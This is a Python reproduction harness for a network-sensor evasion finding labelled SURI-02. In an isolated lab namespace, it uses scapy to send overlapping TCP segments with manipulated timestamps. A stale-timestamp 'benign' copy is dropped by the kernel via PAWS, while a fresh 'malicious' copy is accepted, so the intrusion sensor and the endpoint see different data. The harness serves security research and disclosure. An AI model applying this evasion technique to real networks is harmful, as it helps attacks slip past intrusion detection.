#!/usr/bin/env python3
"""
SURI-02 reproduction harness. Synthetic and lab only.

Builds an isolated network namespace holding a real HTTP server behind a real
Linux TCP stack, drives it with scapy over a veth pair, and captures the complete
bidirectional exchange. The capture is what EXACT3.pcap contains.

A real kernel is used deliberately: the point of the finding is that the endpoint
and the sensor disagree, so the endpoint side must be a genuine TCP implementation
rather than a simulation.

Run only against a disposable lab you own. Requires root for namespace setup.
"""
import subprocess, sys, time, textwrap

NS = "suri02ns"
PCAP = "EXACT3.pcap"
SRVLOG = "server_parsed.log"

def sh(c):
    return subprocess.run(c, shell=True, capture_output=True, text=True)

for c in [f"ip netns del {NS}", "ip link del veth0", "pkill -f suri02_srv.py", "pkill -f tcpdump"]:
    sh("sudo " + c + " 2>/dev/null")

sh(f"sudo ip netns add {NS}")
sh("sudo ip link add veth0 type veth peer name veth1")
sh(f"sudo ip link set veth1 netns {NS}")
sh("sudo ip addr add 10.5.5.1/24 dev veth0")
sh("sudo ip link set veth0 up")
sh(f"sudo ip netns exec {NS} ip addr add 10.5.5.2/24 dev veth1")
sh(f"sudo ip netns exec {NS} ip link set veth1 up")
sh(f"sudo ip netns exec {NS} ip link set lo up")
sh(f"sudo ip netns exec {NS} sysctl -w net.ipv4.tcp_timestamps=1")
# keep the host stack from RSTing a flow it has no socket for
sh("sudo iptables -I OUTPUT -o veth0 -p tcp --tcp-flags RST RST -j DROP")

server = textwrap.dedent(f'''
    import http.server
    LOG = open("{SRVLOG}", "w", buffering=1)
    class H(http.server.BaseHTTPRequestHandler):
        protocol_version = "HTTP/1.1"
        def do_GET(self):
            LOG.write("SERVER_PARSED:%s\\n" % self.path)
            body = b"ok"
            self.send_response(200)
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        def log_message(self, *a):
            pass
    http.server.HTTPServer(("10.5.5.2", 80), H).serve_forever()
''')
open("/tmp/suri02_srv.py", "w").write(server)
sh(f"sudo ip netns exec {NS} python3 /tmp/suri02_srv.py >/dev/null 2>&1 &")
time.sleep(2)
sh(f"sudo tcpdump -i veth0 -w {PCAP} -U -s 0 tcp >/dev/null 2>&1 &")
time.sleep(1.5)

from scapy.all import IP, TCP, Raw, send, sr1, conf
conf.verb = 0

CIP, SIP = "10.5.5.1", "10.5.5.2"
CP, SP = 45000, 80
ic, TSc = 1000, 100000

PRIMER    = b"GET /primer HTTP/1.1\r\nHost: t\r\n\r\n"
BENIGN    = b"GET /benign-aaaaaa HTTP/1.1\r\nHost: t\r\n\r\n"
MALICIOUS = b"GET /malicious-xxx HTTP/1.1\r\nHost: t\r\n\r\n"

syn = IP(src=CIP, dst=SIP) / TCP(sport=CP, dport=SP, flags="S", seq=ic,
        options=[('MSS', 1460), ('Timestamp', (TSc, 0))])
sa = sr1(syn, timeout=4)
if sa is None:
    print("no SYN-ACK, aborting")
    sys.exit(1)
sisn = sa[TCP].seq
TSs = [o[1][0] for o in sa[TCP].options if o[0] == 'Timestamp'][0]

def seg(seq, payload, tsval):
    return IP(src=CIP, dst=SIP) / TCP(sport=CP, dport=SP, flags="PA", seq=seq,
        ack=sisn + 1, options=[('Timestamp', (tsval, TSs))]) / Raw(load=payload)

send(IP(src=CIP, dst=SIP) / TCP(sport=CP, dport=SP, flags="A", seq=ic + 1,
     ack=sisn + 1, options=[('Timestamp', (TSc + 1, TSs))]))
time.sleep(0.4)

S = ic + 1
send(seg(S, PRIMER, TSc + 100))                    # advances ts.recent
time.sleep(0.8)
send(seg(S + len(PRIMER), BENIGN, TSc + 2))        # stale TSval, kernel drops via PAWS
time.sleep(0.6)
send(seg(S + len(PRIMER), MALICIOUS, TSc + 101))   # fresh TSval, kernel accepts
time.sleep(3)

sh("sudo pkill -f tcpdump"); time.sleep(0.8)
sh("sudo pkill -f suri02_srv.py")
print(open(SRVLOG).read().strip())
sh("sudo iptables -D OUTPUT -o veth0 -p tcp --tcp-flags RST RST -j DROP")
for c in [f"ip netns del {NS}", "ip link del veth0"]:
    sh("sudo " + c + " 2>/dev/null")
print("wrote " + PCAP)
